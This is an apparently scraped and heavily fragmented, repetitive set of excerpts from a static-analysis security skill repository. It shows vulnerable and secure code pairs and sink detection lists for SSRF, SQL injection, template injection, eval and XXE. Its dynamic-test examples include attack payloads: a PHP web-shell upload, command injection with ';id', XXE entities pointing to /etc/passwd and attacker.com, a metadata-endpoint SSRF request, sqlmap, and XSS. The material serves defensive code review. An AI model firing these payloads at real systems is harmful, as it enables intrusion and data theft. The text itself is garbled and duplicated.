utkusen/sast-skills

> - **Dynamic Test**: >   ``` >   [Step-by-step instructions or curl commands to confirm the finding on the live app.

>   ``` >   [Step-by-step instructions or curl commands to confirm the finding on the live app. >    Include exact HTTP method, endpoint, headers, and request body.

>   [Step-by-step instructions or curl commands to confirm the finding on the live app.

> - **Dynamic Test**: >   ``` >   [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.]

>   ``` >   [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.] >   ```

>   [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.]

# VULNERABLE: content-type only check (trivially bypassed with curl -H)

> - **Dynamic Test**: >   ``` >   [curl or HTTP request demonstrating the bypass.

>   ``` >   [curl or HTTP request demonstrating the bypass. >    Example: curl -X POST https://app.example.com/upload \

>   [curl or HTTP request demonstrating the bypass.

>    Example: curl -X POST https://app.example.com/upload \

>      -F "file=@shell.php;type=image/png" \ >      then access: https://app.example.com/static/uploads/shell.php?cmd=id] >   ```

>      then access: https://app.example.com/static/uploads/shell.php?cmd=id]

const fragment = req.body.fragment;   const query = `query { me { ${fragment} } }`;   const data = await fetch('https://api.internal/graphql', {

const query = `query { me { ${fragment} } }`;   const data = await fetch('https://api.internal/graphql', {     method: 'POST',

const data = await fetch('https://api.internal/graphql', {

const PROXY_QUERY = `query ProxyMe { me { id name email } }`; app.post('/proxy', async (req, res) => {   const data = await fetch('https://api.internal/graphql', {

app.post('/proxy', async (req, res) => {   const data = await fetch('https://api.internal/graphql', {     method: 'POST',

const data = await fetch('https://api.internal/graphql', {

> - **Dynamic Test**: >   ``` >   [curl or in-browser GraphQL request showing injected fragment/directive/field]

>   ``` >   [curl or in-browser GraphQL request showing injected fragment/directive/field] >   ```

>   [curl or in-browser GraphQL request showing injected fragment/directive/field]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

> - **Dynamic Test**: >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.

>   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app. >    Include the exact endpoint, HTTP method, headers, and what to look for in the response.

>   [curl command or step-by-step instructions to confirm this finding on the live app.

> - **Dynamic Test**: >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.

>   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app. >    Include the exact endpoint, HTTP method, headers, and what to look for in the response.

>   [curl command or step-by-step instructions to confirm this finding on the live app.

token, secret, algorithms=["HS256"],     options={"require": ["exp", "iss", "aud"]},     issuer="https://myapp.example.com",

options={"require": ["exp", "iss", "aud"]},     issuer="https://myapp.example.com",     audience="myapp-api"

issuer="https://myapp.example.com",

# Only fetch keys from a known, trusted JWKS endpoint ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"}

ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"}

[Credential-related source omitted]

[Credential-related source omitted]

> - **Dynamic Test**: >   ``` >   [curl command or step-by-step to confirm on the live app.

>   ``` >   [curl command or step-by-step to confirm on the live app. >    For missing auth: show the request with NO token succeeding.

>   [curl command or step-by-step to confirm on the live app.

> - **Dynamic Test**: >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.]

>   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.] >   ```

>   [curl command or step-by-step instructions to confirm this finding on the live app.]

> - **Dynamic Test**: >   ``` >   [curl command or payload to confirm; show traversal and encoded variants as appropriate]

>   ``` >   [curl command or payload to confirm; show traversal and encoded variants as appropriate] >   ```

>   [curl command or payload to confirm; show traversal and encoded variants as appropriate]

- Using `eval()`, `exec()`, `Function()`, or equivalent constructs with user-controlled strings

exec(`grep -r "${query}" /var/log/app/`, (err, stdout) => {

result = eval(expr)  # attacker can run __import__('os').system('id')

exec(code)  # full arbitrary code execution

const result = eval(formula);  // RCE: process.exit(), require('child_process')...

data = base64.b64decode(session_cookie)

user = json.loads(base64.b64decode(session_cookie))

> - `exec(var)`, `system(var)`, `passthru(var)`, `shell_exec(var)`, `popen(var, ...)`, `proc_open(var, ...)` — flag if any variable in command string

> - `system(var)`, `exec(var)`, `spawn(var)`, `IO.popen(var)`, `Open3.popen3(var)` — flag if string form with interpolated variable

> - `eval(var)` — flag if argument is a variable

> - `exec(var)` — flag if argument is a variable

> - `compile(var, ...)` followed by `exec()` — flag

> - `eval(var)` — flag if argument is a variable

> - `eval(var)` — always flag if variable in argument

> - `eval(var)`, `instance_eval(var)`, `class_eval(var)`, `module_eval(var)` — flag if variable

> - **Dynamic Test**: >   ``` >   [curl command or payload to confirm the finding.

>   ``` >   [curl command or payload to confirm the finding. >    Show the exact parameter, payload, and what to look for in the response.

>   [curl command or payload to confirm the finding.

>    Show the exact parameter, payload, and what to look for in the response. >    Examples: >      curl "https://app.example.com/ping?host=127.0.0.1;id"

>    Examples: >      curl "https://app.example.com/ping?host=127.0.0.1;id" >      curl "https://app.example.com/ping?host=127.0.0.1%3Bid"

>      curl "https://app.example.com/ping?host=127.0.0.1;id"

>      curl "https://app.example.com/ping?host=127.0.0.1%3Bid"

- **For OS command sinks**: `subprocess.run(["cmd", var])` with list form and no `shell=True` is NOT command injection — the argument is passed directly to the process without shell interpretation. Only flag when shell interpretation is pos

- **For `eval`-like sinks**: there is almost no safe way to use `eval()` with user input. Any eval-like sink receiving external data should be flagged Vulnerable.

- Second-order RCE is possible: a value stored from user input may later be deserialized or evaluated in a different code path (e.g., a user-supplied config stored in DB and later `eval()`'d by a cron job).

[curl command or step-by-step test instructions from original finding]

function getUser($id) {     $stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id);     return $stmt->fetch();

$stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id);     return $stmt->fetch(); }

return $stmt->fetch();

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");     $stmt->execute(['id' => $id]);     return $stmt->fetch();

$stmt->execute(['id' => $id]);     return $stmt->fetch(); }

return $stmt->fetch();

> - **Dynamic Test**: >   ``` >   [sqlmap command or manual curl payload. Show parameter, payload, expected response signal.

>   ``` >   [sqlmap command or manual curl payload. Show parameter, payload, expected response signal. >    Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs]

>   [sqlmap command or manual curl payload. Show parameter, payload, expected response signal.

>    Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs]

- HTTP client calls where the URL or host is built from user input: `requests.get(user_url)`

- Fetching a resource whose location is provided by the client: `fetch(req.body.webhook_url)`

if parsed.hostname not in ALLOWED_HOSTS:     raise ValueError("Destination not allowed") requests.get(user_url)

requests.get(user_url)

ALLOWED_PREFIXES = ["https://api.example.com/", "https://cdn.example.com/"]

if not any(user_url.startswith(p) for p in ALLOWED_PREFIXES):     abort(400) requests.get(user_url)

requests.get(user_url)

# Destination fully hardcoded — no user input involved response = requests.get("https://api.thirdparty.com/data")

response = requests.get("https://api.thirdparty.com/data")

# VULNERABLE: URL fully controlled by user @app.route('/fetch') def fetch():

@app.route('/fetch') def fetch():     url = request.args.get('url')

def fetch():

url = request.args.get('url')     response = requests.get(url)     return response.text

response = requests.get(url)

ALLOWED = {"api.example.com"} @app.route('/fetch') def fetch():

@app.route('/fetch') def fetch():     url = request.args.get('url')

def fetch():

if urlparse(url).hostname not in ALLOWED:         abort(403)     response = requests.get(url)

abort(403)     response = requests.get(url)     return response.text

response = requests.get(url)

def preview(request):     target = request.GET.get('target')     data = urllib.request.urlopen(target).read()

target = request.GET.get('target')     data = urllib.request.urlopen(target).read()     return HttpResponse(data)

data = urllib.request.urlopen(target).read()

if parsed.scheme != 'https' or parsed.hostname != 'media.example.com':         return HttpResponse(status=400)     data = urllib.request.urlopen(target).read()

return HttpResponse(status=400)     data = urllib.request.urlopen(target).read()     return HttpResponse(data)

data = urllib.request.urlopen(target).read()

app.post('/webhook/test', async (req, res) => {   const { url } = req.body;   const result = await fetch(url);

const { url } = req.body;   const result = await fetch(url);   res.json(await result.json());

const result = await fetch(url);

const { hostname } = new URL(url);   if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden');   const result = await fetch(url);

if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden');   const result = await fetch(url);   res.json(await result.json());

const result = await fetch(url);

// VULNERABLE: user-supplied URL piped into curl function fetch_preview($url) {

// SECURE: validate URL against allowlist before curl function fetch_preview($url) {

function fetch_preview($url) {     $allowed = ['https://cdn.example.com/'];     foreach ($allowed as $prefix) {

$allowed = ['https://cdn.example.com/'];

if (strpos($url, $prefix) === 0) {             // ... proceed with curl         }

// ... proceed with curl         }     }

// VULNERABLE: OkHttp with user-controlled host public String fetch(String host, String path) {

public String fetch(String host, String path) {

> > 1. **Python HTTP clients**: >    - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)`

> 1. **Python HTTP clients**: >    - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)` >    - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)`

>    - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)`

>    - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)`

>    - `httpx.get(url)`, `httpx.post(url)`, `httpx.AsyncClient().get(url)`

>    - `aiohttp.ClientSession().get(url)`, `aiohttp.ClientSession().post(url)`

> > 2. **Python socket / DNS**: >    - `socket.connect((host, port))`, `socket.create_connection((host, port))`

> 2. **Python socket / DNS**: >    - `socket.connect((host, port))`, `socket.create_connection((host, port))` >    - `dns.resolver.resolve(name)`, `socket.getaddrinfo(host, ...)`

>    - `socket.connect((host, port))`, `socket.create_connection((host, port))`

> > 3. **Python file-fetching with remote schemes**: >    - `urllib.request.urlopen(url)` where url may be http/https/ftp

> 3. **Python file-fetching with remote schemes**: >    - `urllib.request.urlopen(url)` where url may be http/https/ftp >    - `open(url)` via `from urllib.request import urlopen` or similar (flag if url may be remote)

>    - `urllib.request.urlopen(url)` where url may be http/https/ftp

> > 4. **Node.js / JavaScript HTTP clients**: >    - `fetch(url)`, `node-fetch(url)`

> 4. **Node.js / JavaScript HTTP clients**: >    - `fetch(url)`, `node-fetch(url)` >    - `axios.get(url)`, `axios.post(url)`, `axios.request({url})`

>    - `fetch(url)`, `node-fetch(url)`

> > 11. **Shell-out to network tools** (via subprocess, exec, system, etc.): >     - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])`

> 11. **Shell-out to network tools** (via subprocess, exec, system, etc.): >     - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])` >     - `os.system("curl " + url)`, `exec("wget " + url)`

>     - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])`

>     - `os.system("curl " + url)`, `exec("wget " + url)`

>     - `os.system("curl " + url)`, `exec("wget " + url)`

> > **What to skip** (these are safe — do not flag): > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")`

> **What to skip** (these are safe — do not flag): > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")` > - Internal loopback connections to `l

> - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")`

> - **File**: `path/to/file.ext` (lines X-Y) > - **Function / endpoint**: [function name or route] > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.]

> - **Function / endpoint**: [function name or route] > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.] > - **Library / method**: [requests.get / fetch / http.Get / curl_exec / etc.]

> - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.]

> > 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path: >    - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme inje

> 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path: >    - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme inject

>    - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme injection depending on the HTTP client

> **For each call site, also check for mitigations**: > - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effec

> - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effective mitigation. Mark as Not Vulnerable. > - **Scheme-

> - **Scheme-only restriction** (e.g., only allow `https://`): Partial mitigation — reduces impact but does not prevent SSRF to arbitrary HTTPS hosts. Still flag as Likely Vulnerable.

> - **File**: `path/to/file.ext` (lines X-Y) > - **Endpoint / function**: [route or function name] > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"]

> - **Endpoint / function**: [route or function name] > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"] > - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') →

> - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"]

> - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') → target_url → requests.get(target_url)"]

> - **Dynamic Test**: >   ``` >   [curl command or payload to confirm the finding.

>   ``` >   [curl command or payload to confirm the finding. >    Show the parameter, payload, and what to look for.

>   [curl command or payload to confirm the finding.

>    Show the parameter, payload, and what to look for. >    Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/" >    or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5

>    Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/"

>    or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5432/"]

- **Partial URL control is still dangerous**: even if the attacker only controls the path or query string portion of the URL, flag it as Likely Vulnerable — depending on the HTTP client behavior, redirect following, and target service, part

- **Stored destinations are tainted**: if a URL or hostname was accepted from user input at write time and is later used for an outbound request, trace the write-time acceptance. Lack of allowlist validation at write time makes it SSRF. - *

- **Subprocess curl/wget is SSRF too**: shell-outs that run `curl` or `wget` with a user-supplied URL are just as dangerous as HTTP client calls. Check for these, especially in image-processing, import, or download features.

- `thymeleafEngine.process(user_input, ctx)` — Thymeleaf (Java)   - `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP)   - `$smarty->fetch("string:" . user_input)` — Smarty (PHP)

- `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP)   - `$smarty->fetch("string:" . user_input)` — Smarty (PHP)   - `Liquid::Template.parse(user_input).render(ctx)` — Liquid (Ruby)

- `$smarty->fetch("string:" . user_input)` — Smarty (PHP)

// VULNERABLE: user-controlled template string via fetch("string:...")

$template = $_GET['tmpl']; $smarty->fetch("string:" . $template); // Payload: {php}echo shell_exec('id');{/php}

$smarty->fetch("string:" . $template);

> > 16. **PHP — Smarty**: >     - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)`

> 16. **PHP — Smarty**: >     - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)` >     - `$smarty->fetch($var)` where var may contain a "string:" prefix

>     - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)`

>     - `$smarty->fetch($var)` where var may contain a "string:" prefix

- `eval(var)`

eval(event.data);

>    - `eval(var)`

> - **Dynamic Test**: >   ``` >   [curl command or browser payload to confirm the finding.

>   ``` >   [curl command or browser payload to confirm the finding. >    Show the exact parameter, payload, and what to observe.

>   [curl command or browser payload to confirm the finding.

>    Show the exact parameter, payload, and what to observe. >    Example: curl "https://app.example.com/search?q=<script>alert(1)</script>" >    Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box]

>    Example: curl "https://app.example.com/search?q=<script>alert(1)</script>"

>    Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box]

- XML parsed with external entity resolution **enabled by default** and no explicit hardening applied - `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`

- `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`

- DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers) - Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xx

- Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;`

- XInclude injection when XInclude processing is enabled - SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services - Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled serve

- SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://xml.org/sax/features/external-general-entities", false);

spf.setFeature("http://xml.org/sax/features/external-general-entities", false);

spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {     DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);     dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// SECURE: disable external entities SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://xml.org/sax/features/external-general-entities", false);

SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

factory.setFeature("http://xml.org/sax/features/external-general-entities", false);

factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

> - **Dynamic Test**: >   ``` >   [curl command or payload to confirm the finding.

>   ``` >   [curl command or payload to confirm the finding. >    Show the exact endpoint, Content-Type header, and XXE payload.

>   [curl command or payload to confirm the finding.

>    Show the exact endpoint, Content-Type header, and XXE payload. >    Example: >    curl -X POST https://app.example.com/api/import \

>    Example: >    curl -X POST https://app.example.com/api/import \ >      -H "Content-Type: application/xml" \

>    curl -X POST https://app.example.com/api/import \

> - **Dynamic Test**: >   ``` >   [Step-by-step instructions or curl commands to confirm the finding on the live app.

>   ``` >   [Step-by-step instructions or curl commands to confirm the finding on the live app. >    Include exact HTTP method, endpoint, headers, and request body.

>   [Step-by-step instructions or curl commands to confirm the finding on the live app.

> - **Dynamic Test**: >   ``` >   [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.]

>   ``` >   [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.] >   ```

>   [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.]

# VULNERABLE: content-type only check (trivially bypassed with curl -H)

> - **Dynamic Test**: >   ``` >   [curl or HTTP request demonstrating the bypass.

>   ``` >   [curl or HTTP request demonstrating the bypass. >    Example: curl -X POST https://app.example.com/upload \

>   [curl or HTTP request demonstrating the bypass.

>    Example: curl -X POST https://app.example.com/upload \

>      -F "file=@shell.php;type=image/png" \ >      then access: https://app.example.com/static/uploads/shell.php?cmd=id] >   ```

>      then access: https://app.example.com/static/uploads/shell.php?cmd=id]

const fragment = req.body.fragment;   const query = `query { me { ${fragment} } }`;   const data = await fetch('https://api.internal/graphql', {

const query = `query { me { ${fragment} } }`;   const data = await fetch('https://api.internal/graphql', {     method: 'POST',

const data = await fetch('https://api.internal/graphql', {

const PROXY_QUERY = `query ProxyMe { me { id name email } }`; app.post('/proxy', async (req, res) => {   const data = await fetch('https://api.internal/graphql', {

app.post('/proxy', async (req, res) => {   const data = await fetch('https://api.internal/graphql', {     method: 'POST',

const data = await fetch('https://api.internal/graphql', {

> - **Dynamic Test**: >   ``` >   [curl or in-browser GraphQL request showing injected fragment/directive/field]

>   ``` >   [curl or in-browser GraphQL request showing injected fragment/directive/field] >   ```

>   [curl or in-browser GraphQL request showing injected fragment/directive/field]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

> - **Dynamic Test**: >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.

>   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app. >    Include the exact endpoint, HTTP method, headers, and what to look for in the response.

>   [curl command or step-by-step instructions to confirm this finding on the live app.

> - **Dynamic Test**: >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.

>   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app. >    Include the exact endpoint, HTTP method, headers, and what to look for in the response.

>   [curl command or step-by-step instructions to confirm this finding on the live app.

token, secret, algorithms=["HS256"],     options={"require": ["exp", "iss", "aud"]},     issuer="https://myapp.example.com",

options={"require": ["exp", "iss", "aud"]},     issuer="https://myapp.example.com",     audience="myapp-api"

issuer="https://myapp.example.com",

# Only fetch keys from a known, trusted JWKS endpoint ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"}

ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"}

[Credential-related source omitted]

[Credential-related source omitted]

> - **Dynamic Test**: >   ``` >   [curl command or step-by-step to confirm on the live app.

>   ``` >   [curl command or step-by-step to confirm on the live app. >    For missing auth: show the request with NO token succeeding.

>   [curl command or step-by-step to confirm on the live app.

> - **Dynamic Test**: >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.]

>   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.] >   ```

>   [curl command or step-by-step instructions to confirm this finding on the live app.]

> - **Dynamic Test**: >   ``` >   [curl command or payload to confirm; show traversal and encoded variants as appropriate]

>   ``` >   [curl command or payload to confirm; show traversal and encoded variants as appropriate] >   ```

>   [curl command or payload to confirm; show traversal and encoded variants as appropriate]

- Using `eval()`, `exec()`, `Function()`, or equivalent constructs with user-controlled strings

exec(`grep -r "${query}" /var/log/app/`, (err, stdout) => {

result = eval(expr)  # attacker can run __import__('os').system('id')

exec(code)  # full arbitrary code execution

const result = eval(formula);  // RCE: process.exit(), require('child_process')...

data = base64.b64decode(session_cookie)

user = json.loads(base64.b64decode(session_cookie))

> - `exec(var)`, `system(var)`, `passthru(var)`, `shell_exec(var)`, `popen(var, ...)`, `proc_open(var, ...)` — flag if any variable in command string

> - `system(var)`, `exec(var)`, `spawn(var)`, `IO.popen(var)`, `Open3.popen3(var)` — flag if string form with interpolated variable

> - `eval(var)` — flag if argument is a variable

> - `exec(var)` — flag if argument is a variable

> - `compile(var, ...)` followed by `exec()` — flag

> - `eval(var)` — flag if argument is a variable

> - `eval(var)` — always flag if variable in argument

> - `eval(var)`, `instance_eval(var)`, `class_eval(var)`, `module_eval(var)` — flag if variable

> - **Dynamic Test**: >   ``` >   [curl command or payload to confirm the finding.

>   ``` >   [curl command or payload to confirm the finding. >    Show the exact parameter, payload, and what to look for in the response.

>   [curl command or payload to confirm the finding.

>    Show the exact parameter, payload, and what to look for in the response. >    Examples: >      curl "https://app.example.com/ping?host=127.0.0.1;id"

>    Examples: >      curl "https://app.example.com/ping?host=127.0.0.1;id" >      curl "https://app.example.com/ping?host=127.0.0.1%3Bid"

>      curl "https://app.example.com/ping?host=127.0.0.1;id"

>      curl "https://app.example.com/ping?host=127.0.0.1%3Bid"

- **For OS command sinks**: `subprocess.run(["cmd", var])` with list form and no `shell=True` is NOT command injection — the argument is passed directly to the process without shell interpretation. Only flag when shell interpretation is pos

- **For `eval`-like sinks**: there is almost no safe way to use `eval()` with user input. Any eval-like sink receiving external data should be flagged Vulnerable.

- Second-order RCE is possible: a value stored from user input may later be deserialized or evaluated in a different code path (e.g., a user-supplied config stored in DB and later `eval()`'d by a cron job).

[curl command or step-by-step test instructions from original finding]

function getUser($id) {     $stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id);     return $stmt->fetch();

$stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id);     return $stmt->fetch(); }

return $stmt->fetch();

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");     $stmt->execute(['id' => $id]);     return $stmt->fetch();

$stmt->execute(['id' => $id]);     return $stmt->fetch(); }

return $stmt->fetch();

> - **Dynamic Test**: >   ``` >   [sqlmap command or manual curl payload. Show parameter, payload, expected response signal.

>   ``` >   [sqlmap command or manual curl payload. Show parameter, payload, expected response signal. >    Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs]

>   [sqlmap command or manual curl payload. Show parameter, payload, expected response signal.

>    Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs]

- HTTP client calls where the URL or host is built from user input: `requests.get(user_url)`

- Fetching a resource whose location is provided by the client: `fetch(req.body.webhook_url)`

if parsed.hostname not in ALLOWED_HOSTS:     raise ValueError("Destination not allowed") requests.get(user_url)

requests.get(user_url)

ALLOWED_PREFIXES = ["https://api.example.com/", "https://cdn.example.com/"]

if not any(user_url.startswith(p) for p in ALLOWED_PREFIXES):     abort(400) requests.get(user_url)

requests.get(user_url)

# Destination fully hardcoded — no user input involved response = requests.get("https://api.thirdparty.com/data")

response = requests.get("https://api.thirdparty.com/data")

# VULNERABLE: URL fully controlled by user @app.route('/fetch') def fetch():

@app.route('/fetch') def fetch():     url = request.args.get('url')

def fetch():

url = request.args.get('url')     response = requests.get(url)     return response.text

response = requests.get(url)

ALLOWED = {"api.example.com"} @app.route('/fetch') def fetch():

@app.route('/fetch') def fetch():     url = request.args.get('url')

def fetch():

if urlparse(url).hostname not in ALLOWED:         abort(403)     response = requests.get(url)

abort(403)     response = requests.get(url)     return response.text

response = requests.get(url)

def preview(request):     target = request.GET.get('target')     data = urllib.request.urlopen(target).read()

target = request.GET.get('target')     data = urllib.request.urlopen(target).read()     return HttpResponse(data)

data = urllib.request.urlopen(target).read()

if parsed.scheme != 'https' or parsed.hostname != 'media.example.com':         return HttpResponse(status=400)     data = urllib.request.urlopen(target).read()

return HttpResponse(status=400)     data = urllib.request.urlopen(target).read()     return HttpResponse(data)

data = urllib.request.urlopen(target).read()

app.post('/webhook/test', async (req, res) => {   const { url } = req.body;   const result = await fetch(url);

const { url } = req.body;   const result = await fetch(url);   res.json(await result.json());

const result = await fetch(url);

const { hostname } = new URL(url);   if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden');   const result = await fetch(url);

if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden');   const result = await fetch(url);   res.json(await result.json());

const result = await fetch(url);

// VULNERABLE: user-supplied URL piped into curl function fetch_preview($url) {

// SECURE: validate URL against allowlist before curl function fetch_preview($url) {

function fetch_preview($url) {     $allowed = ['https://cdn.example.com/'];     foreach ($allowed as $prefix) {

$allowed = ['https://cdn.example.com/'];

if (strpos($url, $prefix) === 0) {             // ... proceed with curl         }

// ... proceed with curl         }     }

// VULNERABLE: OkHttp with user-controlled host public String fetch(String host, String path) {

public String fetch(String host, String path) {

> > 1. **Python HTTP clients**: >    - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)`

> 1. **Python HTTP clients**: >    - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)` >    - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)`

>    - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)`

>    - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)`

>    - `httpx.get(url)`, `httpx.post(url)`, `httpx.AsyncClient().get(url)`

>    - `aiohttp.ClientSession().get(url)`, `aiohttp.ClientSession().post(url)`

> > 2. **Python socket / DNS**: >    - `socket.connect((host, port))`, `socket.create_connection((host, port))`

> 2. **Python socket / DNS**: >    - `socket.connect((host, port))`, `socket.create_connection((host, port))` >    - `dns.resolver.resolve(name)`, `socket.getaddrinfo(host, ...)`

>    - `socket.connect((host, port))`, `socket.create_connection((host, port))`

> > 3. **Python file-fetching with remote schemes**: >    - `urllib.request.urlopen(url)` where url may be http/https/ftp

> 3. **Python file-fetching with remote schemes**: >    - `urllib.request.urlopen(url)` where url may be http/https/ftp >    - `open(url)` via `from urllib.request import urlopen` or similar (flag if url may be remote)

>    - `urllib.request.urlopen(url)` where url may be http/https/ftp

> > 4. **Node.js / JavaScript HTTP clients**: >    - `fetch(url)`, `node-fetch(url)`

> 4. **Node.js / JavaScript HTTP clients**: >    - `fetch(url)`, `node-fetch(url)` >    - `axios.get(url)`, `axios.post(url)`, `axios.request({url})`

>    - `fetch(url)`, `node-fetch(url)`

> > 11. **Shell-out to network tools** (via subprocess, exec, system, etc.): >     - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])`

